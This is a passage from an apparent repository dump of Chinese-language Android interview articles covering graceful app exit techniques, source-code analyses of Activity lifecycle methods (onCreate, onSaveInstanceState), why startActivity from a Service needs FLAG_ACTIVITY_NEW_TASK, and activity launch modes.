微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/Activity/App优雅退出.md",
    "content": "### **1. RxBus优雅式**\n\n首先，在基类BaseActivity里，注册RxBus监听：\n\n```java\npublic class BaseActivity3 extends AppCompatActivity {\n    Subscription mSubscription;\n\n    @Override\n    public void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        initRxBus();\n    }\n    //接收退出的指令，关闭所有activity\n    private void initRxBus() {\n        mSubscription = RxBus.getInstance().toObserverable(NormalEvent.class)\n                .subscribe(new Action1<NormalEvent>() {\n                               @Override\n                               public void call(NormalEvent userEvent) {\n                                   if (userEvent.getType() == -1) {\n                                       finish();\n                                   }\n                               }\n                           },\n                        new Action1<Throwable>() {\n                            @Override\n                            public void call(Throwable throwable) {\n                            }\n                        });\n    }\n\n    @Override\n    protected void onDestroy() {\n        super.onDestroy();\n        if (!mSubscription.isUnsubscribed()) {\n            mSubscription.unsubscribe();\n        }\n    }\n}\n```\n\n这是事件实体NormalEvent:\n\n```java\npublic class NormalEvent {\n    private int type;\n\n    public NormalEvent(int type) {\n        this.type = type;\n    }\n\n    public int getType() {\n        return type;\n    }\n\n    public void setType(int type) {\n        this.type = type;\n    }\n}\n```\n\n新建RxBus类\n\n```java\npublic class RxBus {\n\n    private static volatile RxBus mInstance;\n\n    private final Subject bus;\n\n\n    public RxBus()\n    {\n        bus = new SerializedSubject<>(PublishSubject.create());\n    }\n\n    /**\n     * 单例模式RxBus\n     *\n     * @return\n     */\n    public static RxBus getInstance()\n    {\n\n        RxBus rxBus2 = mInstance;\n        if (mInstance == null)\n        {\n            synchronized (RxBus.class)\n            {\n                rxBus2 = mInstance;\n                if (mInstance == null)\n                {\n                    rxBus2 = new RxBus();\n                    mInstance = rxBus2;\n                }\n            }\n        }\n\n        return rxBus2;\n    }\n\n\n    /**\n     * 发送消息\n     *\n     * @param object\n     */\n    public void post(Object object)\n    {\n\n        bus.onNext(object);\n\n    }\n\n    /**\n     * 接收消息\n     *\n     * @param eventType\n     * @param <T>\n     * @return\n     */\n    public <T> Observable<T> toObserverable(Class<T> eventType)\n    {\n        return bus.ofType(eventType);\n    }\n}\n```\n\n最后，在需要退出的地方调用：\n\n```java\n RxBus.getInstance().post(new NormalEvent(-1));//发送退出指令\n```\n\n### **2. 容器式：**\n\n建立一个全局容器，把所有的Activity存储起来，退出时循环遍历finish所有Activity\n\n```java\npublic class BaseActivity extends AppCompatActivity {\n    @Override\n    public void onCreate(@Nullable Bundle savedInstanceState ) {\n        super.onCreate(savedInstanceState);\n        ActivityManager.getActivityManager().addActivity(this);\n    }\n    @Override protected void onDestroy() {\n        super.onDestroy();\n       //  结束Activity&从栈中移除该Activity\n        ActivityManager.getActivityManager().finishActivity();\n    }\n\n}\n\n\n\npublic class ActivityManager {\n        // Activity栈\n        private static Stack<Activity> activityStack;\n        // 单例模式\n        private static ActivityManager instance;\n\n        private ActivityManager() {\n        }\n\n        /**\n         * 单一实例\n         */\n        public static ActivityManager getActivityManager() {\n            if (instance == null) {\n                instance = new ActivityManager();\n            }\n            return instance;\n        }\n\n        /**\n         * 添加Activity到堆栈\n         */\n        public void addActivity(Activity activity) {\n            if (activityStack == null) {\n                activityStack = new Stack<Activity>();\n            }\n            activityStack.add(activity);\n        }\n\n        /**\n         * 获取当前Activity（堆栈中最后一个压入的）\n         */\n        public Activity currentActivity() {\n            Activity activity = activityStack.lastElement();\n            return activity;\n        }\n\n        /**\n         * 结束当前Activity（堆栈中最后一个压入的）\n         */\n        public void finishActivity() {\n            Activity activity = activityStack.lastElement();\n            finishActivity(activity);\n        }\n\n        /**\n         * 结束指定的Activity\n         */\n        public void finishActivity(Activity activity) {\n            if (activity != null) {\n                activityStack.remove(activity);\n                activity.finish();\n                activity = null;\n            }\n        }\n\n        /**\n         * 结束指定类名的Activity\n         */\n        public void finishActivity(Class<?> cls) {\n            for (Activity activity : activityStack) {\n                if (activity.getClass().equals(cls)) {\n                    finishActivity(activity);\n                }\n            }\n        }\n\n        /**\n         * 结束所有Activity\n         */\n        public void finishAllActivity() {\n            for (int i = 0; i < activityStack.size(); i++) {\n                if (null != activityStack.get(i)) {\n                    activityStack.get(i).finish();\n                }\n            }\n            activityStack.clear();\n        }\n\n        /**\n         * 退出应用程序\n         */\n        public void AppExit(Context context) {\n            try {\n                finishAllActivity();\n                //根据进程ID，杀死该进程\n                android.os.Process.killProcess(android.os.Process.myPid());\n                //退出真个应用程序\n                System.exit(0);\n            } catch (Exception e) {\n            }\n        }\n\n}\n```\n\n### **3. 广播式**\n\n通过在BaseActivity中注册一个广播，当退出时发送一个广播，finish退出\n\n```java\npublic class BaseActivity2 extends AppCompatActivity {\n    private static final String EXITACTION = \"action.exit\";\n    private ExitReceiver exitReceiver = new ExitReceiver();\n    @Override protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState); \n        IntentFilter filter = new IntentFilter(); \n        filter.addAction(EXITACTION);\n        registerReceiver(exitReceiver, filter); \n    }\n    @Override protected void onDestroy() { \n        super.onDestroy(); unregisterReceiver(exitReceiver);\n    }\n    class ExitReceiver extends BroadcastReceiver { \n        @Override public void onReceive(Context context, Intent intent) {\n            BaseActivity2.this.finish(); \n        } \n    }\n\n}\n```\n\n### **4. SingleTask**\n\n1、设置MainActivity的加载模式为singleTask\n\n```xml\nandroid:launchMode=\"singleTask\"\n```\n\n2、将退出出口放置在MainActivity\n\n```java\nprivate boolean mIsExit;\n    @Override /** * 双击返回键退出 */\n    public boolean onKeyDown(int keyCode, KeyEvent event) {\n        if (keyCode == KeyEvent.KEYCODE_BACK) {\n            if (mIsExit) {\n                this.finish();\n            } else {\n                Toast.makeText(this, \"再按一次退出\", Toast.LENGTH_SHORT).show();\n                mIsExit = true;\n                new Handler().postDelayed(new Runnable() {\n\n                    @Override public void run() {\n                        mIsExit = false;\n                    }\n                }, 2000);\n            } return true;\n        } return super.onKeyDown(keyCode, event);\n    }\n```\n\n### **5. SingleTask改版式**\n\n第一步设置MainActivity的加载模式为singleTask\n\n```xml\nandroid:launchMode=\"singleTask\"\n```\n\n第二步重写onNewIntent()方法\n\n```java\nprivate static final String TAG_EXIT = \"exit\"; \n    @Override\n    protected void onNewIntent(Intent intent) { \n        super.onNewIntent(intent); \n        if (intent != null) { \n            boolean isExit = intent.getBooleanExtra(TAG_EXIT, false); \n            if (isExit) { this.finish();\n            }\n        } \n    }\n```\n\n第三步 退出\n\n```java\nIntent intent = new Intent(this,MainActivity.class); intent.putExtra(MainActivity.TAG_EXIT, true);\nstartActivity(intent);\n```"
  },
  {
    "path": "docs/android/Android-Interview/Activity/README.md",
    "content": "## Activity相关面试题\n\n- [onSaveInstanceState源码内核分析](onSaveInstanceState源码内核分析.md)\n- [深刻剖析activity启动模式-1](深刻剖析activity启动模式-1.md)\n- [深刻剖析activity启动模式-2](深刻剖析activity启动模式-2.md)\n- [深刻剖析activity启动模式-3](深刻剖析activity启动模式-3.md)\n- [Activity Task和Process之间的关系](Activity Task和Process.md)\n- [为什么service里面startActivity抛异常](为什么service里面startActivity抛异常.md)\n- [App优雅退出](Android面试题-app优雅退出.md)\n- [onCreate源码分析](onCreate源码分析.md)"
  },
  {
    "path": "docs/android/Android-Interview/Activity/onCreate源码分析.md",
    "content": "Activity扮演了一个界面展示的角色，堪称四大组件之首，onCreate是Activity的执行入口，都不知道入口到底干了嘛，还学什么android,所以本文会从源码的角度对其进行分析。\n\n熟悉源码的会发现，真正启动Activity的实现都在ActivityThread，前面的调用过程略过\n\nActivityThread的方法performLaunchActivity中调用了Instrumentation类中的方法callActivityOnCreate方法，继而调用了TargetActivity中的onCreate方法。\n\n```java\nprivate Activity performLaunchActivity(ActivityClientRecord r, Intent customIntent) {\n......\nActivity activity = null;\nactivity = mInstrumentation.newActivity( cl, component.getClassName(), r.intent);               \n......\nif (r.isPersistable()) {\n     mInstrumentation.callActivityOnCreate(activity, r.state, r.persistentState);\n} else {\n     mInstrumentation.callActivityOnCreate(activity, r.state);\n}\n......\n}\n```\n\n#### **源码可知：**\n\n1）通过反射的机制创建的Activity\n\n2）这里的mInstrumentation是类Instrumentation\n\n3）Instrumentation类中的方法callActivityOnCreate方法源码如下：\n\n```java\npublic void callActivityOnCreate(Activity activity, Bundle icicle) {\n        prePerformCreate(activity);\n        activity.performCreate(icicle);\n        postPerformCreate(activity);\n    }\n```\n\n#### **源码可知：**\n\n1）activity.performCreate(icicle)，其中的方法是通过activity，这个activity，形如：Activity activity = 子Activity的对象\n\n2）在Activity类中的方法performCreate(icicle)，源码如下：\n\n```java\nfinal void performCreate(Bundle icicle) {\n        onCreate(icicle);\n        mActivityTransitionState.readState(icicle);\n        performCreateCommon();\n}\n```\n\n#### **源码可知：**\n\n1）原来onCreate的生命周期方法是在这里回调的\n\n2）在performCreate方法中调用的onCreate方法是MainActivity中的onCreate方法，那么到此MainActivity中的方法onCreate方法中的参数Bundle savedInstanceState也就知道来源了，此时，MainActivity中的方法也就被调用了。\n\n再次看MainActivity中的方法onCreate:\n\n```java\n@Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n\n        setContentView(R.layout.activity_main);\n```\n\nsuper.onCreate(savedInstanceState)，其实这条语句放在子类中的onCreate方法中的任何位置都可，问题只是super.onCreate(savedInstanceState)必须要被执行，所以，最好也就是放在第一行，看起来比较明确，至于为什么，参考[onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n至此onCreate源码分析完毕。"
  },
  {
    "path": "docs/android/Android-Interview/Activity/onSaveInstanceState源码内核分析.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n经常有人问，后台的activity被系统自动回收的话，怎么回到界面的时候恢复数据，通过一个真实案例给大家讲讲如何保存状态，然后带着大家分析onSaveInstanceState的源码。\n\n![img](https://upload-images.jianshu.io/upload_images/4037105-79dd4bae8a99c6df?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n#### **当前页面侧滑菜单指向专题，用户做了如下操作：**\n\n1）当用户按下HOME键时。\n2）长按HOME键，选择运行其他的程序时。\n3）按下电源按键（关闭屏幕显示）时。\n4）从activity A中启动一个新的activity时。\n5）屏幕方向切换时，例如从竖屏切换到横屏时。\n\n失去焦点，activity很可能被进程终止！被KILL掉了，这时候就需要能保存当前的状态，不然下次用户再次进来看到的还是新闻，这样用户体验就不够好，代码有删减，我自己项目就这样使用的，解决方案如下：\n\n```java\n@Override\npublic void onSaveInstanceState(Bundle outState) {\n  outState.putInt(\"newsCenter_position\", newsCenterPosition);\n  outState.putInt(\"smartService_position\", smartServicePosition);\n  outState.putInt(\"govAffairs_position\", govAffairsPosition);\n  super.onSaveInstanceState(outState);\n}\n```\n\n#### 如上代码可知：\n\n1）界面被回收之后调用onSaveInstanceState方法保存当前的状态，每个侧滑菜单选项都有一个位置。\n\n```java\n@Override\npublic void onCreate(Bundle savedInstanceState) {\nif (savedInstanceState != null\n    && savedInstanceState.containsKey(\"newsCenter_position\")) {\n    newsCenterPosition = savedInstanceState\n                    .getInt(\"newsCenter_position\");\n    smartServicePosition = savedInstanceState\n                    .getInt(\"smartService_position\");\n    govAffairsPosition = savedInstanceState\n                    .getInt(\"govAffairs_position\");\n}\n\n    super.onCreate(savedInstanceState);\n}\n```\n\n#### **由以上代码可知：**\n\n1）判断当前Bundle 是否有刚刚我们保存的位置，如果不为空，从当前的Bundle取出来，给每一个位置赋值。\n\n```java\npublic void switchMenu(int type) {        \nswitch (type) {\n     case NEWS_CENTER:\n     if (newsCenterAdapter == null) {\n         newsCenterAdapter = new MenuAdapter(ct, newsCenterMenu);\n         newsCenterclassifyLv.setAdapter(newsCenterAdapter);\n      } else {\n         newsCenterAdapter.notifyDataSetChanged();\n      }\n     newsCenterAdapter.setSelectedPosition(newsCenterPosition);\n      break;\n      case SMART_SERVICE:\n     if (smartServiceAdapter == null) {\n        smartServiceAdapter = new MenuAdapter(ct, smartServiceMenu);\n                   smartServiceclassifyLv.setAdapter(smartServiceAdapter);\n     } else {\n        smartServiceAdapter.notifyDataSetChanged();\n     }\n         smartServiceAdapter.setSelectedPosition(smartServicePosition);\n     break;\n    case GOV_AFFAIRS:\n    if (govAffairsAdapter == null) {\n        govAffairsAdapter = new MenuAdapter(ct, govAffairsMenu);\n         govAffairsclassifyLv.setAdapter(govAffairsAdapter);\n     } else {\n        govAffairsAdapter.notifyDataSetChanged();\n     }\n        govAffairsAdapter.setSelectedPosition(govAffairsPosition);\n    break;\n}\n```\n\n#### **以上代码可知：**\n\n1）根据当前的位置设置到adapter当中，这样下次用户进来就还是专题了。\n\n#### **总结下savedInstanceState的使用，代码如下：**\n\n```java\npublic class MainActivity extends Activity {  \n\n    @Override  \n    protected void onCreate(Bundle savedInstanceState) {  \n        super.onCreate(savedInstanceState);  \n        setContentView(R.layout.activity_main);  \n        if(savedInstanceState != null)  \n            System.out.println(\"onCreate() : \" + savedInstanceState.getString(\"octopus\"));  \n    }  \n\n    @Override  \n    protected void onRestoreInstanceState(Bundle savedInstanceState) {  \n        super.onRestoreInstanceState(savedInstanceState);  \n        System.out.println(\"onRestoreInstanceState() : \" + savedInstanceState.getString(\"octopus\"));  \n    }  \n\n    @Override  \n    protected void onSaveInstanceState(Bundle outState) {  \n        super.onSaveInstanceState(outState);  \n\n        outState.putString(\"octopus\", \"www.baidu.com\");  \n        System.out.println(\"onSaveInstanceState() : save date www.baidu.com\");  \n    }  \n\n}\n```\n\n#### **横竖屏切换，打印结果如下：**\n\n```\nI/System.out( 8167): onSaveInstanceState() : save date www.baidu.com  \nI/System.out( 8167): onCreate() : www.baidu.com \nI/System.out( 8167): onRestoreInstanceState() : www.baidu.com\n```\n\n从打印结果可以看出来，当前Activity被系统回收之后,会调用onSaveInstanceState()保存状态，然后在activity判断bundler是否有当前状态，如果只是到这，估计你们就会吐槽没啥含金量，没办法硬着头皮上，接着咱们来分onSaveInstanceState()源码，请看如下代码：\n\n```java\n @Override\n public void onSaveInstanceState(Bundle outState) {\n        super.onSaveInstanceState(outState);\n\n }\n```\n\n#### **以上代码可知**\n\n1）调用父类Activity源码里面的onSaveInstanceState方法，代码如下：\n\n```java\nprotected void onSaveInstanceState(Bundle outState) {\n   outState.putBundle(WINDOW_HIERARCHY_TAG, mWindow.saveHierarchyState());\n   Parcelable p = mFragments.saveAllState();\n   if (p != null) {\n     outState.putParcelable(FRAGMENTS_TAG, p);\n    }\n    ......\n}\n```\n\n#### **以上代码可知**\n\n1）outState.put一个tag调用了mWindow里面的saveHierarchyState方法，继续分析Window源代码。\n\n2）window是抽象类调用子类PhoneWindow里面的saveHierarchyState方法代码如下：\n\n```java\n@Override\npublic Bundle saveHierarchyState() {\n  Bundle outState = new Bundle();\n  if (mContentParent == null) {\n    return outState;\n  }\n\n  SparseArray<Parcelable> states = new SparseArray<Parcelable>();\n  mContentParent.saveHierarchyState(states);\n  outState.putSparseParcelableArray(VIEWS_TAG, states);\n  ......\n  return outState;\n}\n```\n\n#### **以上代码可知**\n\n1 ) Bundle outState = new Bundle()初始化Bundle对象，Bundle实现了Parcelable接口。\n\n2）states = new SparseArray<Parcelable>()并且把自己放到outState当中。\n\n3）mContentParent.saveHierarchyState(states)，整个View树的顶层视图保存了层级状态代码如下：\n\n```java\npublic void saveHierarchyState(SparseArray<Parcelable> container) {\n        dispatchSaveInstanceState(container);\n}\n```\n\n#### 以上代码可知：\n\n1）调相应的dispatchSaveInstanceState方法，代码如下：\n\n```java\nprotected void dispatchSaveInstanceState(SparseArray<Parcelable> container) {\n   if (mID != NO_ID && (mViewFlags & SAVE_DISABLED_MASK) == 0) {\n    mPrivateFlags &= ~PFLAG_SAVE_STATE_CALLED;\n    Parcelable state = onSaveInstanceState();\n    if ((mPrivateFlags & PFLAG_SAVE_STATE_CALLED) == 0) {\n      throw new IllegalStateException(\n        \"Derived class did not call         super.onSaveInstanceState()\");\n    }\n   if (state != null) {\n     // Log.i(\"View\", \"Freezing #\" + Integer.toHexString(mID)\n     // + \": \" + state);\n     container.put(mID, state);\n   }\n  }\n }\n```\n\n#### 以上代码可知：\n\n1） mID != NO_ID 判断一个View必须有一个id，也就是说你要么在xml里通过android:id指定要么在代码里通过setId，但是你从如上代码压根是看不出来谷歌想干啥，必须全局搜索NO_ID 和 mID ，一般在源码里面都会有谷歌工程师的注释方便我们理解，搜索NO_ID 可知代码如下：\n\n```java\n/**\n  * Used to mark a View that has no ID.\n  */\n  public static final int NO_ID = -1;\n```\n\n原来NO_ID用来标记没有id的View，搜索mID可知原来在如下代码赋值\n\n```java\npublic void setId(@IdRes int id) {\n        mID = id;\n        if (mID == View.NO_ID && mLabelForId != View.NO_ID) {\n            mID = generateViewId();\n        }\n    }\n```\n\n经常当我们看不懂谷歌源码的时候，可以通过曲线救国的方式，看看英文注释，看看源码哪个地方用到当前的类或者方法或者变量，这样就好理解了，好了扯远了，继续分析代码；\n\n2）通过if判断，检测子类是否调用父类的onSaveInstanceState()方法，否则会抛异常，突然看到这才明白，还记得刚刚开始学Android的时候，经常一不小心就把代码里面的super.onCreate(savedInstanceState);这行代码删掉，报了错误还看不懂，原来系统在这里检测了，都怪自己曾经太年轻。\n\n3）container.put(mID, state)这行代码，将state放进SparseArray中，以view自身的id为key，并且从注释来看打印mID的Hex值用来保证每页的id必须是唯一的，难怪每当我给view取id的时候，一个页面有重复的id就会报错，谷歌大婶在这里做判断了，腻害了word哥，总是百思不得其姐，凭啥不让我共用id(因为取名字太难了)，原来是想把id做为key来使用。\n\n4）走到这onSaveInstanceState()，调用如下代码：\n\n```java\n@CallSuper\nprotected Parcelable onSaveInstanceState() {\n        mPrivateFlags |= PFLAG_SAVE_STATE_CALLED;\n        ......\n        return BaseSavedState.EMPTY_STATE;\n}\n```\n\n#### 以上代码可知：\n\n1）设置位标志， 默认不save任何东西，状态为空，这就是为啥我们每次随便写个类继承activity实现onCreate方法的时候可以使用参数savedInstanceState保存状态，因为默认为null，代码如下：\n\n```java\nprotected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        savedInstanceState.putString(\"key\",\"value\");\n}\n```\n\n至此整个savedInstanceState保存状态源码分析完毕。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/Activity/为什么service里面startActivity抛异常.md",
    "content": "**Android面试题-源码分析为什么service里面startActivity抛异常？activity不会**\n\n我们有时候需要在service里面启动activity，但是会发现报如下异常：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8dd39209dfdb4961?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n必须添加FLAG_ACTIVITY_NEW_TASK这个标记就可以了，那么为什么在activity里面不需要呢？接下来通过从源码角度带大家分析。\n\n### **启动activity有两种形式**\n\n1）直接调用Context类的startActivity方法；这种方式启动的Activity没有Activity栈，因此不能以standard方式启动，必须加上FLAG_ACTIVITY_NEW_TASK这个Flag,服务就是通过Context调用。\n\n2）调用被Activity类重载过的startActivity方法，通常在我们的Activity中直接调用这个方法就是这种形式；\n\n### **Context.startActivity源码分析**\n\n我们查看Context类的startActivity方法，发现这竟然是一个抽象类；查看Context的类继承关系图如下：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-1a5f12db8f551acf?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n我们看到诸如Activity，Service等并没有直接继承Context，Activity继承了ContextThemeWrapper，Service而是继承了ContextWrapper；\n\n#### **现在从源码分析ContextWrapper的实现：**\n\n```java\n@Override\npublic void startActivity(Intent intent) {\n        mBase.startActivity(intent);\n}\n```\n\n这个mBase是什么呢？这里我先直接告诉你，它的真正实现是ContextImpl类；至于为什么，有一条思路：在任意mBase打一个断点就能看到实现。\n\nContext.startActivity最终使用了ContextImpl里面的方法，代码如下：\n\n```java\n @Override\n    public void startActivity(Intent intent, Bundle options) {\n        warnIfCallingFromSystemProcess();\n        if ((intent.getFlags()&Intent.FLAG_ACTIVITY_NEW_TASK) == 0) {\n            throw new AndroidRuntimeException(\n                    \"Calling startActivity() from outside of an Activity \"\n                    + \" context requires the FLAG_ACTIVITY_NEW_TASK flag.\"\n                    + \" Is this really what you want?\");\n        }\n        mMainThread.getInstrumentation().execStartActivity(\n                getOuterContext(), mMainThread.getApplicationThread(), null,\n                (Activity) null, intent, -1, options);\n    }\n```\n\n#### **源码分析：**\n\n1）大家看看抛出来的异常是不是还是熟悉的味道。\n\n2）通过判断可知当前的intent.getFlags是否带有FLAG_ACTIVITY_NEW_TASK这个标记，如果没有抛出异常，因为源码使用了&运算符,只有两个位都是1，结果才是1，所以可知service没有带FLAG_ACTIVITY_NEW_TASK标记，才抛出异常。\n\n3）真正的startActivity使用了Instrumentation类的execStartActivity方法；继续跟踪：\n\n```java\n public ActivityResult execStartActivity(\n     Context who, IBinder contextThread, IBinder token, Activity target,Intent intent, int requestCode, Bundle options) {\n      ......\ntry {\n     ......\n     int result = ActivityManagerNative.getDefault()\n                .startActivity(whoThread, who.getBasePackageName(), intent,\n                   intent.resolveTypeIfNeeded(who.getContentResolver()),\n                        token, target != null ? target.mEmbeddedID : null,\n                        requestCode, 0, null, options);\n            checkStartActivityResult(result, intent);\n        } catch (RemoteException e) {\n            throw new RuntimeException(\"Failure from system\", e);\n        }\n        return null;\n```\n\n#### **源码分析：**\n\n1）到这里我们发现真正调用的是ActivityManagerNative的startActivity方法；\n\n### **Activity.startActivity源码分析**\n\n```java\n@Override\npublic void startActivity(Intent intent) {\n        this.startActivity(intent, null);\n}\n```\n\n#### **源码可知：**\n\n1）调用当前类的startActivity方法，代码如下：\n\n```java\n@Override\npublic void startActivity(Intent intent, @Nullable Bundle options) {\n        if (options != null) {\n            startActivityForResult(intent, -1, options);\n        } else {\n            // Note we want to go through this call for compatibility with\n            // applications that may have overridden the method.\n            startActivityForResult(intent, -1);\n        }\n    }\n```\n\n#### **源码可知**\n\n1）调用了startActivityForResult\n\n```java\npublic void startActivityForResult(Intent intent, int requestCode, @Nullable Bundle options) {\n   ......\n   Instrumentation.ActivityResult ar =\n          mInstrumentation.execStartActivity(\n          this, mMainThread.getApplicationThread(), mToken, this,\n                    intent, requestCode, options);\n    ......\n```\n\n#### **源码可知**\n\n1）可以看到，其实通过Activity和ContextImpl类启动Activity并无本质不同，他们都通过Instrumentation这个辅助类调用到了ActivityManagerNative的方法。\n\n2）只是Activity不会去检查标记，所以并不会抛出异常。\n\n至此源码分析完毕。"
  },
  {
    "path": "docs/android/Android-Interview/Activity/深入理解Activity启动流程.md",
    "content": "> 原文链接：[Cloud Chou](http://weibo.com/muguachou). http://www.cloudchou.com/android/post-788.html\n\n## 概述\n\nAndroid中启动某个Activity，将先启动Activity所在的应用。应用启动时会启动一个以应用包名为进程名的进程，该进程有一个主线程，叫ActivityThread，也叫做UI线程。\n\n本系列博客将详细阐述Activity的启动流程，这些博客基于Cm 10.1源码研究。\n\n- [深入理解Activity启动流程(二)--Activity启动相关类的类图](http://www.cloudchou.com/android/post-793.html)\n- [深入理解Activity启动流程(三)--Activity启动的详细流程1](http://www.cloudchou.com/android/post-805.html)\n- [深入理解Activity启动流程(三)--Activity启动的详细流程2](http://www.cloudchou.com/android/post-815.html)\n- [深入理解Activity启动流程(四)--Activity Task的调度算法](http://www.cloudchou.com/android/post-858.html)\n\n## Activity启动时的概要交互流程\n\n用户从Launcher程序点击应用图标可启动应用的入口Activity，Activity启动时需要多个进程之间的交互，Android系统中有一个zygote进程专用于孵化Android框架层和应用层程序的进程。还有一个system_server进程，该进程里运行了很多binder service，例如ActivityManagerService，PackageManagerService，WindowManagerService，这些binder service分别运行在不同的线程中，其中ActivityManagerService负责管理Activity栈，应用进程，task。\n\nActivity启动时的概要交互流程如下图如下所示(点击图片可看[大图](http://www.cloudchou.com/wp-content/uploads/2015/05/activity_start_flow.png)):\n\n![activity_start_flow](../assets/activity_start_flow.png)\n\n用户在Launcher程序里点击应用图标时，会通知ActivityManagerService启动应用的入口Activity，ActivityManagerService发现这个应用还未启动，则会通知Zygote进程孵化出应用进程，然后在这个dalvik应用进程里执行ActivityThread的main方法。应用进程接下来通知ActivityManagerService应用进程已启动，ActivityManagerService保存应用进程的一个代理对象，这样ActivityManagerService可以通过这个代理对象控制应用进程，然后ActivityManagerService通知应用进程创建入口Activity的实例，并执行它的生命周期方法。"
  },
  {
    "path": "docs/android/Android-Interview/Activity/深刻剖析activity启动模式-1.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n- [深刻剖析activity启动模式(一)](http://www.jianshu.com/p/b33fd8c550bf)\n- [深刻剖析activity启动模式(二)](http://www.jianshu.com/p/e1ea9e542112)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### **Activity的四种启动模式如下：**\n\n**standard、singleTop、singleTask、singleInstance**\n\n我们一边讲理论一边结合案例来全面学习这四种启动模式。\n为了打印方便，定义一个基础BaseActivity，在其onCreate方法和onNewIntent方法中打印出当前Activity的日志信息，主要包括所属的task，当前类的hashcode，之后我们进行测试的Activity都直接继承该BaseActivity\n\n```java\npublic class BaseActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        Log.i(\"maweiqi\", \"*****onCreate()方法******\");\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() + \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n        dumpTaskAffinity();\n    }\n\n    @Override\n    protected void onNewIntent(Intent intent) {\n        super.onNewIntent(intent);\n        Log.i(\"maweiqi\", \"*****onNewIntent()方法*****\");\n        Log.i(\"maweiqi\", 